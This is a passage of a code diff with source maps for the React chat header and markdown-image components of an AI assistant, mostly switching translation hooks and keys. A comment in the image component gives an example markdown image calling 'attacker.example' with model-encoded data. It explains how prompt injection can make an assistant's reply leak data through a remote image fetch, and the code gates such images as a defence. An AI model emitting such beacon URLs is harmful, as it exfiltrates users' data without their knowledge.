- import { useTr as e } from "../../shared/hooks/useTr.js";
2
- import { AssistantMoreMenu as t } from "./AssistantMoreMenu.js";
3
- import { History as n, PanelBottom as r, PanelRight as i, Plus as a, Sparkles as o, X as s } from "lucide-react";
1
+ import { AssistantMoreMenu as e } from "./AssistantMoreMenu.js";
2
+ import { History as t, PanelBottom as n, PanelRight as r, Plus as i, Sparkles as a, X as o } from "lucide-react";
3
+ import { useAssistantTr as s } from "@burdenoff/fe-libs/shared/assistant";
4
4
  import { jsx as c, jsxs as l } from "react/jsx-runtime";
5
5
  //#region src/components/assistant/AssistantHeader.tsx
6
6
  var u = ({ contextLabel: u, onNewConversation: d, onOpenHistory: f, historyOpen: p, onClose: m, docked: h, onToggleDock: g }) => {
7
- let _ = e();
7
+ let _ = s();
8
8
  return /* @__PURE__ */ l("div", {
9
9
  className: "flex items-center gap-2 border-b border-border-default bg-bg-elevated px-3 py-2.5",
10
10
  children: [/* @__PURE__ */ l("div", {
11
11
  className: "flex min-w-0 flex-1 items-center gap-2",
12
12
  children: [/* @__PURE__ */ c("span", {
13
13
  className: "flex size-7 flex-shrink-0 items-center justify-center rounded-lg bg-gradient-to-br from-action-primary-bg/25 to-action-primary-bg/5 text-action-primary-bg",
14
- children: /* @__PURE__ */ c(o, { className: "size-4" })
14
+ children: /* @__PURE__ */ c(a, { className: "size-4" })
15
15
  }), /* @__PURE__ */ l("span", {
16
16
  className: "min-w-0 flex-1",
17
17
  children: [/* @__PURE__ */ c("span", {
18
18
  className: "block truncate text-[14px] font-semibold leading-tight text-text-primary",
19
- children: _("healthybowl.assistant.header.title", "HealthyBowl AI")
19
+ children: _("header.title", "HealthyBowl AI")
20
20
  }), /* @__PURE__ */ l("span", {
21
21
  className: "block truncate text-[11px] leading-tight text-text-muted",
22
22
  children: [
23
- _("healthybowl.assistant.header.ready", "Ready"),
23
+ _("header.ready", "Ready"),
24
24
  /* @__PURE__ */ c("span", {
25
25
  "aria-hidden": "true",
26
26
  children: " · "
27
27
  }),
28
- _("healthybowl.assistant.header.context", "Context: {{page}}", { page: u })
28
+ _("header.context", "Context: {{page}}", { page: u })
29
29
  ]
30
30
  })]
31
31
  })]
@@ -36,36 +36,36 @@ var u = ({ contextLabel: u, onNewConversation: d, onOpenHistory: f, historyOpen:
36
36
  type: "button",
37
37
  onClick: d,
38
38
  className: "rounded-lg p-1.5 text-text-secondary transition-colors hover:bg-bg-sunken hover:text-text-primary",
39
- "aria-label": _("healthybowl.assistant.header.newConversation", "New conversation"),
39
+ "aria-label": _("header.newConversation", "New conversation"),
40
40
  "data-testid": "assistant-new-conversation",
41
- children: /* @__PURE__ */ c(a, { className: "size-4" })
41
+ children: /* @__PURE__ */ c(i, { className: "size-4" })
42
42
  }),
43
43
  /* @__PURE__ */ c("button", {
44
44
  type: "button",
45
45
  onClick: f,
46
46
  className: `rounded-lg p-1.5 transition-colors ${p ? "bg-action-primary-bg/15 text-action-primary-bg" : "text-text-secondary hover:bg-bg-sunken hover:text-text-primary"}`,
47
- "aria-label": _("healthybowl.assistant.header.history", "Conversation history"),
47
+ "aria-label": _("header.history", "Conversation history"),
48
48
  "aria-pressed": p,
49
49
  "data-testid": "assistant-open-history",
50
- children: /* @__PURE__ */ c(n, { className: "size-4" })
50
+ children: /* @__PURE__ */ c(t, { className: "size-4" })
51
51
  }),
52
- /* @__PURE__ */ c(t, {}),
52
+ /* @__PURE__ */ c(e, {}),
53
53
  g && /* @__PURE__ */ c("button", {
54
54
  type: "button",
55
55
  onClick: g,
56
56
  className: "hidden rounded-lg p-1.5 text-text-secondary transition-colors hover:bg-bg-sunken hover:text-text-primary sm:inline-flex",
57
- "aria-label": h ? _("healthybowl.assistant.header.float", "Float chat window") : _("healthybowl.assistant.header.dock", "Dock to side panel"),
57
+ "aria-label": h ? _("header.float", "Float chat window") : _("header.dock", "Dock to side panel"),
58
58
  "aria-pressed": h,
59
59
  "data-testid": "assistant-toggle-dock",
60
- children: c(h ? r : i, { className: "size-4" })
60
+ children: c(h ? n : r, { className: "size-4" })
61
61
  }),
62
62
  /* @__PURE__ */ c("button", {
63
63
  type: "button",
64
64
  onClick: m,
65
65
  className: "rounded-lg p-1.5 text-text-secondary transition-colors hover:bg-bg-sunken hover:text-text-primary",
66
- "aria-label": _("healthybowl.assistant.header.close", "Close assistant"),
66
+ "aria-label": _("header.close", "Close assistant"),
67
67
  "data-testid": "assistant-close",
68
- children: /* @__PURE__ */ c(s, { className: "size-4" })
68
+ children: /* @__PURE__ */ c(o, { className: "size-4" })
69
69
  })
70
70
  ]
71
71
  })]
@@ -1 +1 @@
1
- {"version":3,"file":"AssistantHeader.js","names":[],"sources":["../../../src/components/assistant/AssistantHeader.tsx"],"sourcesContent":["import type { FC } from 'react';\nimport { Sparkles, Plus, History, PanelRight, PanelBottom, X } from 'lucide-react';\nimport { AssistantMoreMenu } from './AssistantMoreMenu';\nimport { useTr } from '../../shared/hooks/useTr';\n\ninterface Props {\n /** Friendly label for the page the user is on (e.g. \"Inventory\"). */\n contextLabel: string;\n onNewConversation: () => void;\n onOpenHistory: () => void;\n /** True when the history drawer is currently open (drives the toggle state). */\n historyOpen: boolean;\n onClose: () => void;\n docked?: boolean;\n onToggleDock?: () => void;\n}\n\n/**\n * AssistantHeader — the v2 identity bar (per the ai-assistant-v2 mockups):\n * a ✦ brand mark + \"HealthyBowl AI\", a small availability/context subtitle\n * (\"Ready · Context: <page>\"), and a row of icon actions: New conversation,\n * History (opens the conversation list as an overlay drawer — NOT an accordion),\n * Export, Dock toggle, Close.\n *\n * Replaces the old \"Conversation History\" accordion header. HB semantic tokens\n * only; copy via useTr.\n */\nexport const AssistantHeader: FC<Props> = ({\n contextLabel,\n onNewConversation,\n onOpenHistory,\n historyOpen,\n onClose,\n docked,\n onToggleDock,\n}) => {\n const tr = useTr();\n\n return (\n <div className=\"flex items-center gap-2 border-b border-border-default bg-bg-elevated px-3 py-2.5\">\n {/* Brand + context subtitle */}\n <div className=\"flex min-w-0 flex-1 items-center gap-2\">\n <span className=\"flex size-7 flex-shrink-0 items-center justify-center rounded-lg bg-gradient-to-br from-action-primary-bg/25 to-action-primary-bg/5 text-action-primary-bg\">\n <Sparkles className=\"size-4\" />\n </span>\n <span className=\"min-w-0 flex-1\">\n <span className=\"block truncate text-[14px] font-semibold leading-tight text-text-primary\">\n {tr('healthybowl.assistant.header.title', 'HealthyBowl AI')}\n </span>\n <span className=\"block truncate text-[11px] leading-tight text-text-muted\">\n {tr('healthybowl.assistant.header.ready', 'Ready')}\n <span aria-hidden=\"true\"> · </span>\n {tr('healthybowl.assistant.header.context', 'Context: {{page}}', { page: contextLabel })}\n </span>\n </span>\n </div>\n\n {/* Actions */}\n <div className=\"flex flex-shrink-0 items-center gap-0.5\">\n <button\n type=\"button\"\n onClick={onNewConversation}\n className=\"rounded-lg p-1.5 text-text-secondary transition-colors hover:bg-bg-sunken hover:text-text-primary\"\n aria-label={tr('healthybowl.assistant.header.newConversation', 'New conversation')}\n data-testid=\"assistant-new-conversation\"\n >\n <Plus className=\"size-4\" />\n </button>\n <button\n type=\"button\"\n onClick={onOpenHistory}\n className={`rounded-lg p-1.5 transition-colors ${\n historyOpen\n ? 'bg-action-primary-bg/15 text-action-primary-bg'\n : 'text-text-secondary hover:bg-bg-sunken hover:text-text-primary'\n }`}\n aria-label={tr('healthybowl.assistant.header.history', 'Conversation history')}\n aria-pressed={historyOpen}\n data-testid=\"assistant-open-history\"\n >\n <History className=\"size-4\" />\n </button>\n {/* Renders nothing where the browser has no speech output. */}\n <AssistantMoreMenu />\n {onToggleDock && (\n <button\n type=\"button\"\n onClick={onToggleDock}\n // ★ `sm:`, matching where the DESKTOP LAYOUT actually starts. It was `md:`\n // while the overlay switches layouts at `sm`, so between 640px and\n // 767px the user got the desktop floating/docked window with no dock\n // control at all — and anyone whose preference was already \"docked\"\n // was stuck in the side panel with no way back.\n className=\"hidden rounded-lg p-1.5 text-text-secondary transition-colors hover:bg-bg-sunken hover:text-text-primary sm:inline-flex\"\n aria-label={\n docked\n ? tr('healthybowl.assistant.header.float', 'Float chat window')\n : tr('healthybowl.assistant.header.dock', 'Dock to side panel')\n }\n aria-pressed={docked}\n data-testid=\"assistant-toggle-dock\"\n >\n {docked ? <PanelBottom className=\"size-4\" /> : <PanelRight className=\"size-4\" />}\n </button>\n )}\n <button\n type=\"button\"\n onClick={onClose}\n className=\"rounded-lg p-1.5 text-text-secondary transition-colors hover:bg-bg-sunken hover:text-text-primary\"\n aria-label={tr('healthybowl.assistant.header.close', 'Close assistant')}\n data-testid=\"assistant-close\"\n >\n <X className=\"size-4\" />\n </button>\n </div>\n </div>\n );\n};\n"],"mappings":";;;;;AA2BA,IAAa,KAA8B,EACzC,iBACA,sBACA,kBACA,gBACA,YACA,WACA,sBACI;CACJ,IAAM,IAAK,EAAM;CAE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L;IACF;;AAET"}
1
+ {"version":3,"file":"AssistantHeader.js","names":[],"sources":["../../../src/components/assistant/AssistantHeader.tsx"],"sourcesContent":["import type { FC } from 'react';\nimport { Sparkles, Plus, History, PanelRight, PanelBottom, X } from 'lucide-react';\nimport { AssistantMoreMenu } from './AssistantMoreMenu';\nimport { useAssistantTr } from '@burdenoff/fe-libs/shared/assistant';\n\ninterface Props {\n /** Friendly label for the page the user is on (e.g. \"Inventory\"). */\n contextLabel: string;\n onNewConversation: () => void;\n onOpenHistory: () => void;\n /** True when the history drawer is currently open (drives the toggle state). */\n historyOpen: boolean;\n onClose: () => void;\n docked?: boolean;\n onToggleDock?: () => void;\n}\n\n/**\n * AssistantHeader — the v2 identity bar (per the ai-assistant-v2 mockups):\n * a ✦ brand mark + \"HealthyBowl AI\", a small availability/context subtitle\n * (\"Ready · Context: <page>\"), and a row of icon actions: New conversation,\n * History (opens the conversation list as an overlay drawer — NOT an accordion),\n * Export, Dock toggle, Close.\n *\n * Replaces the old \"Conversation History\" accordion header. HB semantic tokens\n * only; copy via useAssistantTr.\n */\nexport const AssistantHeader: FC<Props> = ({\n contextLabel,\n onNewConversation,\n onOpenHistory,\n historyOpen,\n onClose,\n docked,\n onToggleDock,\n}) => {\n const tr = useAssistantTr();\n\n return (\n <div className=\"flex items-center gap-2 border-b border-border-default bg-bg-elevated px-3 py-2.5\">\n {/* Brand + context subtitle */}\n <div className=\"flex min-w-0 flex-1 items-center gap-2\">\n <span className=\"flex size-7 flex-shrink-0 items-center justify-center rounded-lg bg-gradient-to-br from-action-primary-bg/25 to-action-primary-bg/5 text-action-primary-bg\">\n <Sparkles className=\"size-4\" />\n </span>\n <span className=\"min-w-0 flex-1\">\n <span className=\"block truncate text-[14px] font-semibold leading-tight text-text-primary\">\n {tr('header.title', 'HealthyBowl AI')}\n </span>\n <span className=\"block truncate text-[11px] leading-tight text-text-muted\">\n {tr('header.ready', 'Ready')}\n <span aria-hidden=\"true\"> · </span>\n {tr('header.context', 'Context: {{page}}', { page: contextLabel })}\n </span>\n </span>\n </div>\n\n {/* Actions */}\n <div className=\"flex flex-shrink-0 items-center gap-0.5\">\n <button\n type=\"button\"\n onClick={onNewConversation}\n className=\"rounded-lg p-1.5 text-text-secondary transition-colors hover:bg-bg-sunken hover:text-text-primary\"\n aria-label={tr('header.newConversation', 'New conversation')}\n data-testid=\"assistant-new-conversation\"\n >\n <Plus className=\"size-4\" />\n </button>\n <button\n type=\"button\"\n onClick={onOpenHistory}\n className={`rounded-lg p-1.5 transition-colors ${\n historyOpen\n ? 'bg-action-primary-bg/15 text-action-primary-bg'\n : 'text-text-secondary hover:bg-bg-sunken hover:text-text-primary'\n }`}\n aria-label={tr('header.history', 'Conversation history')}\n aria-pressed={historyOpen}\n data-testid=\"assistant-open-history\"\n >\n <History className=\"size-4\" />\n </button>\n {/* Renders nothing where the browser has no speech output. */}\n <AssistantMoreMenu />\n {onToggleDock && (\n <button\n type=\"button\"\n onClick={onToggleDock}\n // ★ `sm:`, matching where the DESKTOP LAYOUT actually starts. It was `md:`\n // while the overlay switches layouts at `sm`, so between 640px and\n // 767px the user got the desktop floating/docked window with no dock\n // control at all — and anyone whose preference was already \"docked\"\n // was stuck in the side panel with no way back.\n className=\"hidden rounded-lg p-1.5 text-text-secondary transition-colors hover:bg-bg-sunken hover:text-text-primary sm:inline-flex\"\n aria-label={docked ? tr('header.float', 'Float chat window') : tr('header.dock', 'Dock to side panel')}\n aria-pressed={docked}\n data-testid=\"assistant-toggle-dock\"\n >\n {docked ? <PanelBottom className=\"size-4\" /> : <PanelRight className=\"size-4\" />}\n </button>\n )}\n <button\n type=\"button\"\n onClick={onClose}\n className=\"rounded-lg p-1.5 text-text-secondary transition-colors hover:bg-bg-sunken hover:text-text-primary\"\n aria-label={tr('header.close', 'Close assistant')}\n data-testid=\"assistant-close\"\n >\n <X className=\"size-4\" />\n </button>\n </div>\n </div>\n );\n};\n"],"mappings":";;;;;AA2BA,IAAa,KAA8B,EACzC,iBACA,sBACA,k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Z,kBAAC,GAAD,EAAG,WAAU,SAAU,CAAA;IACjB,CAAA;GACL;IACF;;AAET"}
@@ -1,6 +1,6 @@
1
- import { useTr as e } from "../../shared/hooks/useTr.js";
2
- import { useCallback as t, useEffect as n, useRef as r, useState as i } from "react";
3
- import { Eye as a, ImageOff as o, X as s } from "lucide-react";
1
+ import { useCallback as e, useEffect as t, useRef as n, useState as r } from "react";
2
+ import { Eye as i, ImageOff as a, X as o } from "lucide-react";
3
+ import { useAssistantTr as s } from "@burdenoff/fe-libs/shared/assistant";
4
4
  import { Fragment as c, jsx as l, jsxs as u } from "react/jsx-runtime";
5
5
  import { createPortal as d } from "react-dom";
6
6
  //#region src/components/assistant/AssistantMarkdownImage.tsx
@@ -16,8 +16,8 @@ function p(e) {
16
16
  }
17
17
  }
18
18
  var m = [], h = ({ src: h, alt: g, title: _ }) => {
19
- let v = e(), [y, b] = i(!1), [x, S] = i(!1), [C, w] = i(!1), T = r(null), E = r(null), D = r(null), O = r(null), k = g?.trim() ?? "", A = !!h && f(h) && !C, j = x && !A && !y && !!h;
20
- n(() => {
19
+ let v = s(), [y, b] = r(!1), [x, S] = r(!1), [C, w] = r(!1), T = n(null), E = n(null), D = n(null), O = n(null), k = g?.trim() ?? "", A = !!h && f(h) && !C, j = x && !A && !y && !!h;
20
+ t(() => {
21
21
  if (!j) return;
22
22
  let e = D.current, t = document.body.style.overflow, n = T.current;
23
23
  document.body.style.overflow = "hidden", e && m.push(e);
@@ -54,7 +54,7 @@ var m = [], h = ({ src: h, alt: g, title: _ }) => {
54
54
  r >= 0 && m.splice(r, 1), document.body.style.overflow = t, n?.isConnected ? n.focus() : O.current?.focus();
55
55
  };
56
56
  }, [j]);
57
- let M = t(() => S(!1), []), N = (e) => {
57
+ let M = e(() => S(!1), []), N = (e) => {
58
58
  e.target === e.currentTarget && M();
59
59
  };
60
60
  if (h && A && !y) {
@@ -64,14 +64,14 @@ var m = [], h = ({ src: h, alt: g, title: _ }) => {
64
64
  onClick: () => w(!0),
65
65
  className: "my-2 flex max-w-full items-center gap-2 rounded-lg border border-dashed border-border-default bg-bg-sunken px-3 py-2 text-left text-[0.9em] text-text-secondary transition-colors hover:border-border-strong hover:text-text-primary focus:outline-none focus-visible:ring-2 focus-visible:ring-border-focus",
66
66
  "data-testid": "assistant-markdown-image-gated",
67
- children: [/* @__PURE__ */ l(a, {
67
+ children: [/* @__PURE__ */ l(i, {
68
68
  className: "size-4 flex-shrink-0",
69
69
  "aria-hidden": "true"
70
70
  }), /* @__PURE__ */ u("span", {
71
71
  className: "min-w-0",
72
72
  children: [/* @__PURE__ */ l("span", {
73
73
  className: "block break-words",
74
- children: e ? v("healthybowl.assistant.markdown.showRemoteImageNamed", "Show image from {{host}}", { host: e }) : v("healthybowl.assistant.markdown.showRemoteImage", "Show remote image")
74
+ children: e ? v("markdown.showRemoteImageNamed", "Show image from {{host}}", { host: e }) : v("markdown.showRemoteImage", "Show remote image")
75
75
  }), k && /* @__PURE__ */ l("span", {
76
76
  className: "block truncate text-[0.85em] text-text-muted",
77
77
  children: k
@@ -84,18 +84,18 @@ var m = [], h = ({ src: h, alt: g, title: _ }) => {
84
84
  tabIndex: -1,
85
85
  className: "my-2 inline-flex max-w-full items-center gap-2 rounded-lg border border-dashed border-border-default bg-bg-sunken px-3 py-2 text-[0.9em] text-text-muted focus:outline-none focus-visible:ring-2 focus-visible:ring-border-focus",
86
86
  "data-testid": "assistant-markdown-image-fallback",
87
- children: [/* @__PURE__ */ l(o, {
87
+ children: [/* @__PURE__ */ l(a, {
88
88
  className: "size-4 flex-shrink-0",
89
89
  "aria-hidden": "true"
90
90
  }), /* @__PURE__ */ l("span", {
91
91
  className: "min-w-0 break-words",
92
- children: k || v("healthybowl.assistant.markdown.imageUnavailable", "Image unavailable")
92
+ children: k || v("markdown.imageUnavailable", "Image unavailable")
93
93
  })]
94
94
  }) : /* @__PURE__ */ u(c, { children: [/* @__PURE__ */ l("button", {
95
95
  ref: T,
96
96
  type: "button",
97
97
  onClick: () => S(!0),
98
- "aria-label": k ? v("healthybowl.assistant.markdown.enlargeImageNamed", "Enlarge image: {{alt}}", { alt: k }) : v("healthybowl.assistant.markdown.enlargeImage", "Enlarge image"),
98
+ "aria-label": k ? v("markdown.enlargeImageNamed", "Enlarge image: {{alt}}", { alt: k }) : v("markdown.enlargeImage", "Enlarge image"),
99
99
  className: "my-2 block max-w-full cursor-zoom-in overflow-hidden rounded-lg border border-border-subtle bg-bg-sunken focus:outline-none focus-visible:ring-2 focus-visible:ring-border-focus",
100
100
  "data-testid": "assistant-markdown-image",
101
101
  children: /* @__PURE__ */ l("img", {
@@ -113,7 +113,7 @@ var m = [], h = ({ src: h, alt: g, title: _ }) => {
113
113
  role: "dialog",
114
114
  "aria-modal": "true",
115
115
  tabIndex: -1,
116
- "aria-label": k ? v("healthybowl.assistant.markdown.imagePreviewNamed", "Image preview: {{alt}}", { alt: k }) : v("healthybowl.assistant.markdown.imagePreview", "Image preview"),
116
+ "aria-label": k ? v("markdown.imagePreviewNamed", "Image preview: {{alt}}", { alt: k }) : v("markdown.imagePreview", "Image preview"),
117
117
  onClick: N,
118
118
  className: "fixed inset-0 z-50 flex items-center justify-center bg-bg-canvas/95 p-6 backdrop-blur-sm focus:outline-none motion-safe:transition-opacity",
119
119
  "data-testid": "assistant-markdown-image-lightbox",
@@ -121,10 +121,10 @@ var m = [], h = ({ src: h, alt: g, title: _ }) => {
121
121
  ref: E,
122
122
  type: "button",
123
123
  onClick: M,
124
- "aria-label": v("healthybowl.assistant.markdown.closePreview", "Close image preview"),
124
+ "aria-label": v("markdown.closePreview", "Close image preview"),
125
125
  className: "absolute right-4 top-4 flex size-9 items-center justify-center rounded-full border border-border-subtle bg-bg-surface text-text-secondary transition-colors hover:text-text-primary focus:outline-none focus-visible:ring-2 focus-visible:ring-border-focus",
126
126
  "data-testid": "assistant-markdown-image-close",
127
- children: /* @__PURE__ */ l(s, { className: "size-4" })
127
+ children: /* @__PURE__ */ l(o, { className: "size-4" })
128
128
  }), /* @__PURE__ */ u("figure", {
129
129
  className: "flex max-h-full min-w-0 flex-col items-center gap-2",
130
130
  children: [/* @__PURE__ */ l("img", {
@@ -1 +1 @@
1
- {"version":3,"file":"AssistantMarkdownImage.js","names":[],"sources":["../../../src/components/assistant/AssistantMarkdownImage.tsx"],"sourcesContent":["/**\n * Image rendered inside an assistant markdown reply (Workstream 5).\n *\n * The assistant can answer with a picture — a chart it generated in the sandbox,\n * or an annotated copy of a leaf photo the farmer just uploaded — either as a\n * URL or as an inline `data:image/*;base64` payload. Both arrive as a plain\n * markdown `![alt](src)`, so this component is what `AssistantMarkdownRenderer`\n * maps `img` to.\n *\n * Four things markdown does not give us for free, all of which matter in a\n * ~440px docked panel:\n *\n * 1. **Bounded height.** An unconstrained portrait photo pushes the whole\n * conversation off-screen. The thumbnail is capped and letterboxed\n * (`object-contain`), never cropped, so the farmer still sees the subject.\n * 2. **Click to enlarge.** Detail lost at thumbnail size (a lesion on a leaf,\n * an axis label) is recoverable in a full-viewport lightbox.\n * 3. **A graceful failure.** Presigned URLs expire and sandbox links die; the\n * browser's broken-image glyph tells the farmer nothing, so a dead image\n * degrades to its alt text in a bordered placeholder instead.\n * 4. **No silent third-party fetch.** See `isRemoteImageSrc` — a markdown image\n * in an assistant reply is untrusted content, and an `<img>` is a GET the\n * browser makes for us the instant it renders.\n */\n\nimport { useCallback, useEffect, useRef, useState, type FC, type MouseEvent as ReactMouseEvent } from 'react';\nimport { createPortal } from 'react-dom';\nimport { Eye, ImageOff, X } from 'lucide-react';\nimport { useTr } from '../../shared/hooks/useTr';\n\n/**\n * Would rendering this `src` immediately hit a server we do not control?\n *\n * An `<img>` is a GET the browser performs the moment it paints, and the markup\n * here is written by a model that has read tool output, fetched web pages and\n * user-uploaded files. So `![](https://attacker.example/p?d=<whatever the model\n * was talked into encoding>)` is a working exfiltration beacon that also\n * discloses that a HealthyBowl user opened the reply, when, and from which IP —\n * with no click required. `referrerPolicy` does not help: the payload is the URL\n * itself, not the Referer header.\n *\n * `data:` URLs carry their own bytes and reach no network, so those still render\n * straight away — and that is the shape the transport actually emits for inline\n * images (fe-libs `getAssistantMedia`). Anything else is held behind an explicit\n * click, the same bargain email clients have offered for remote images for\n * twenty years. Unparseable input fails CLOSED.\n */\nexport function isRemoteImageSrc(src: string): boolean {\n if (/^data:/i.test(src.trim())) return false;\n return true;\n}\n\n/**\n * Host to name in the \"show this?\" prompt, so the choice is an informed one.\n *\n * Parsed with NO base URL on purpose. Resolving against `location.href` would\n * make a relative or malformed src inherit OUR hostname, and the prompt would\n * then read \"Show image from app.gethealthybowl.com\" for something this app does\n * not serve — a prompt that lies is worse than an unnamed one. Absolute http(s)\n * only; everything else falls back to the generic wording.\n */\nexport function imageHostLabel(src: string): string | null {\n try {\n const url = new URL(src.trim());\n return url.protocol === 'http:' || url.protocol === 'https:' ? url.hostname : null;\n } catch {\n return null;\n }\n}\n\ninterface Props {\n /** Resolved `src` — already scheme-checked by the renderer's urlTransform. */\n src?: string;\n alt?: string;\n title?: string;\n}\n\n/**\n * Open lightboxes, innermost last.\n *\n * More than one CAN be open: until the focus trap below existed, Tab walked out\n * of an open lightbox and straight into the thumbnails behind it, so a second\n * one could be opened on top of the first. Both would then hold a document-level\n * focus trap, and two traps pulling focus at each other recurse until the tab\n * hangs. Only the top of the stack acts.\n */\nconst openLightboxes: HTMLElement[] = [];\n\nexport const AssistantMarkdownImage: FC<Props> = ({ src, alt, title }) => {\n const tr = useTr();\n const [failed, setFailed] = useState(false);\n const [open, setOpen] = useState(false);\n // Per-image consent for a third-party fetch. Deliberately NOT persisted: the\n // decision belongs to the reply the user is looking at, not to the origin.\n const [allowedRemote, setAllowedRemote] = useState(false);\n const triggerRef = useRef<HTMLButtonElement>(null);\n const closeRef = useRef<HTMLButtonElement>(null);\n const overlayRef = useRef<HTMLDivElement>(null);\n const fallbackRef = useRef<HTMLSpanElement>(null);\n\n const label = alt?.trim() ?? '';\n const isGated = Boolean(src) && isRemoteImageSrc(src!) && !allowedRemote;\n\n // The ONE condition, shared by the effect below and the portal it manages.\n //\n // Keying the effect on `open` alone would have been wrong: state other than\n // `open` can drop the overlay — the thumbnail's onError firing while the\n // lightbox is up (an expired presigned URL is the realistic case), or `src`\n // going away. The portal would unmount with no cleanup, leaving the document\n // listeners attached, a dead entry on the stack and — the part the user\n // feels — `body` scroll locked to `hidden` for the rest of the session.\n const lightboxOpen = open && !isGated && !failed && Boolean(src);\n\n // While the lightbox is up it owns focus, scrolling and the Escape key.\n //\n // All of that lives at DOCUMENT level rather than on the overlay's own\n // onKeyDown, because a React key handler on the overlay only fires while\n // focus is inside it — and focus leaves the moment the user clicks the\n // backdrop or the picture itself (neither is focusable, so focus falls to\n // <body>). From there Escape did nothing and Tab walked the page behind the\n // modal. One effect owns setup and teardown, so every close path (Escape,\n // backdrop, close button, a dead image, unmount) restores scrolling and moves\n // focus back into the transcript.\n useEffect(() => {\n if (!lightboxOpen) return;\n\n const overlay = overlayRef.current;\n const previousOverflow = document.body.style.overflow;\n // Captured now, while the thumbnail is certainly still mounted, so the\n // cleanup restores focus to the element that actually opened this.\n const trigger = triggerRef.current;\n document.body.style.overflow = 'hidden';\n if (overlay) openLightboxes.push(overlay);\n\n const isTopmost = () => openLightboxes[openLightboxes.length - 1] === overlayRef.current;\n\n // Resolved from the DOM rather than from `closeRef`, and CYCLED rather than\n // pinned, so a control added to the overlay later is reachable by keyboard\n // instead of silently unfocusable. Today the list is just the close button,\n // in which case cycling is indistinguishable from pinning.\n const focusables = (): HTMLElement[] =>\n Array.from(\n overlayRef.current?.querySelectorAll<HTMLElement>(\n 'button:not([disabled]), [href], input:not([disabled]), select, textarea, [tabindex]:not([tabindex=\"-1\"])'\n ) ?? []\n );\n\n const focusInside = () => {\n const el = overlayRef.current;\n if (!el) return;\n (focusables()[0] ?? el).focus();\n };\n\n focusInside();\n\n const handleKeyDown = (event: KeyboardEvent) => {\n if (!isTopmost() || event.isComposing) return;\n if (event.key === 'Escape') {\n // Capture phase, so this runs before the panel's own document-level\n // Escape handler and stops it: one press dismisses the image and leaves\n // the conversation open.\n event.stopPropagation();\n setOpen(false);\n return;\n }\n if (event.key === 'Tab') {\n event.preventDefault();\n const list = focusables();\n if (list.length === 0) {\n overlayRef.current?.focus();\n return;\n }\n const current = list.indexOf(document.activeElement as HTMLElement);\n const step = event.shiftKey ? -1 : 1;\n const next = current < 0 ? 0 : (current + step + list.length) % list.length;\n list[next]?.focus();\n }\n };\n\n // Belt to the Tab handler's braces: covers focus moving by any route we did\n // not intercept (a click on non-focusable content, a screen reader's own\n // navigation, the address bar returning focus to <body>).\n const handleFocusIn = (event: FocusEvent) => {\n if (!isTopmost()) return;\n const el = overlayRef.current;\n if (el && !el.contains(event.target as Node)) focusInside();\n };\n\n document.addEventListener('keydown', handleKeyDown, true);\n document.addEventListener('focusin', handleFocusIn);\n\n return () => {\n // Detach the trap BEFORE restoring focus, or handleFocusIn would see\n // focus landing on the thumbnail and drag it back into a dead overlay.\n document.removeEventListener('keydown', handleKeyDown, true);\n document.removeEventListener('focusin', handleFocusIn);\n const index = overlay ? openLightboxes.indexOf(overlay) : -1;\n if (index >= 0) openLightboxes.splice(index, 1);\n document.body.style.overflow = previousOverflow;\n // On the `failed` close paths the thumbnail is replaced by the\n // \"Image unavailable\" placeholder in the SAME commit, so the captured\n // trigger is already detached and focusing it would silently strand the\n // user on <body> after dismissing a modal. Fall back to the placeholder.\n if (trigger?.isConnected) trigger.focus();\n // Read at CLEANUP time on purpose, which is the opposite of what the lint\n // rule assumes: while the lightbox was open this ref was null (the\n // placeholder does not render until `failed` flips), and the commit that\n // tears the overlay down is the same one that mounts it. Copying the\n // setup-time value would copy null.\n // eslint-disable-next-line react-hooks/exhaustive-deps\n else fallbackRef.current?.focus();\n };\n }, [lightboxOpen]);\n\n const close = useCallback(() => setOpen(false), []);\n\n const handleOverlayClick = (event: ReactMouseEvent<HTMLDivElement>) => {\n if (event.target === event.currentTarget) close();\n };\n\n if (src && isGated && !failed) {\n const host = imageHostLabel(src);\n return (\n <button\n type=\"button\"\n onClick={() => setAllowedRemote(true)}\n className=\"my-2 flex max-w-full items-center gap-2 rounded-lg border border-dashed border-border-default bg-bg-sunken px-3 py-2 text-left text-[0.9em] text-text-secondary transition-colors hover:border-border-strong hover:text-text-primary focus:outline-none focus-visible:ring-2 focus-visible:ring-border-focus\"\n data-testid=\"assistant-markdown-image-gated\"\n >\n <Eye className=\"size-4 flex-shrink-0\" aria-hidden=\"true\" />\n <span className=\"min-w-0\">\n <span className=\"block break-words\">\n {host\n ? tr('healthybowl.assistant.markdown.showRemoteImageNamed', 'Show image from {{host}}', { host })\n : tr('healthybowl.assistant.markdown.showRemoteImage', 'Show remote image')}\n </span>\n {label && <span className=\"block truncate text-[0.85em] text-text-muted\">{label}</span>}\n </span>\n </button>\n );\n }\n\n if (!src || failed) {\n return (\n <span\n ref={fallbackRef}\n // Focusable only programmatically: it is where focus lands when a\n // lightbox closes because its image died, so the user is not dumped on\n // <body> with no idea what happened.\n tabIndex={-1}\n className=\"my-2 inline-flex max-w-full items-center gap-2 rounded-lg border border-dashed border-border-default bg-bg-sunken px-3 py-2 text-[0.9em] text-text-muted focus:outline-none focus-visible:ring-2 focus-visible:ring-border-focus\"\n data-testid=\"assistant-markdown-image-fallback\"\n >\n <ImageOff className=\"size-4 flex-shrink-0\" aria-hidden=\"true\" />\n <span className=\"min-w-0 break-words\">\n {label || tr('healthybowl.assistant.markdown.imageUnavailable', 'Image unavailable')}\n </span>\n </span>\n );\n }\n\n return (\n <>\n <button\n ref={triggerRef}\n type=\"button\"\n onClick={() => setOpen(true)}\n // A native button already answers \"click or Enter/Space opens it\" and\n // carries the right role — no key handling of our own needed.\n aria-label={\n label\n ? tr('healthybowl.assistant.markdown.enlargeImageNamed', 'Enlarge image: {{alt}}', { alt: label })\n : tr('healthybowl.assistant.markdown.enlargeImage', 'Enlarge image')\n }\n className=\"my-2 block max-w-full cursor-zoom-in overflow-hidden rounded-lg border border-border-subtle bg-bg-sunken focus:outline-none focus-visible:ring-2 focus-visible:ring-border-focus\"\n data-testid=\"assistant-markdown-image\"\n >\n <img\n src={src}\n alt={label}\n title={title}\n loading=\"lazy\"\n decoding=\"async\"\n // Belt to the gate's braces: once the user does opt in, do not also\n // hand the third party our URL — HealthyBowl paths carry ?workspace=\n // and ?org= identifiers.\n referrerPolicy=\"no-referrer\"\n onError={() => setFailed(true)}\n className=\"max-h-64 w-auto max-w-full object-contain\"\n />\n </button>\n\n {lightboxOpen &&\n typeof document !== 'undefined' &&\n createPortal(\n <div\n ref={overlayRef}\n 